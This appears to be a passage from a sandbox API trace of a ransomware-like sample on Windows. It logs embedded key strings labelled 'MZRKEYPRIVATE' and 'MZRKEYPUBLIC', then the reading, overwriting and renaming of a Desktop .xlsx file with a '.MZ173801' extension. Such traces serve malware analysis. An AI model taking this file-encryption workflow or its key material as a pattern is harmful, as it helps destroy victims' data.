wrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.961] GetCurrentThreadId () returned 0xab4 [0175.961] GetCurrentThreadId () returned 0xab4 [0175.961] GetCurrentThreadId () returned 0xab4 [0175.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.962] GetCurrentThreadId () returned 0xab4 [0175.962] GetCurrentThreadId () returned 0xab4 [0175.962] GetCurrentThreadId () returned 0xab4 [0175.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\d7yd06jads4bzbo.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.962] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.962] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.962] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4dbd [0175.962] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.962] ReadFile (in: hFile=0x320, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x4dbd, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x4dbd, lpOverlapped=0x0) returned 1 [0175.963] CloseHandle (hObject=0x320) returned 1 [0175.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\d7yd06jads4bzbo.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.965] WriteFile (in: hFile=0x320, lpBuffer=0x24ade70*, nNumberOfBytesToWrite=0x4dbd, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ade70*, lpNumberOfBytesWritten=0x19fa24*=0x4dbd, lpOverlapped=0x0) returned 1 [0175.966] CloseHandle (hObject=0x320) returned 1 [0175.967] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\d7yd06jads4bzbo.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\D7yD06jADs4bzbO.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\d7yd06jads4bzbo.xlsx.mz173801")) returned 1 [0175.967] GetCurrentThreadId () returned 0xab4 [0175.967] GetCurrentThreadId () returned 0xab4 [0175.967] GetCurrentThreadId () returned 0xab4 [0175.967] GetCurrentThreadId () returned 0xab4 [0175.967] GetCurrentThreadId () returned 0xab4 [0175.967] GetCurrentThreadId () returned 0xab4 [0175.967] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0175.967] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.967] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.967] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd665090, ftCreationTime.dwHighDateTime=0x1d5e5ba, ftLastAccessTime.dwLowDateTime=0x8e82ea20, ftLastAccessTime.dwHighDateTime=0x1d5e9be, ftLastWriteTime.dwLowDateTime=0x8e82ea20, ftLastWriteTime.dwHighDateTime=0x1d5e9be, nFileSizeHigh=0x0, nFileSizeLow=0x301d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eIdmvaOqadIUE.jpg", cAlternateFileName="EIDMVA~1.JPG")) returned 1 [0175.967] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.967] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\eidmvaoqadiue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd665090, ftCreationTime.dwHighDateTime=0x1d5e5ba, ftLastAccessTime.dwLowDateTime=0x8e82ea20, ftLastAccessTime.dwHighDateTime=0x1d5e9be, ftLastWriteTime.dwLowDateTime=0x8e82ea20, ftLastWriteTime.dwHighDateTime=0x1d5e9be, nFileSizeHigh=0x0, nFileSizeLow=0x301d)) returned 1 [0175.968] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\eidmvaoqadiue.jpg")) returned 0x20 [0175.968] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\eIdmvaOqadIUE.jpg", dwFileAttributes=0x80) returned 1 [0175.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw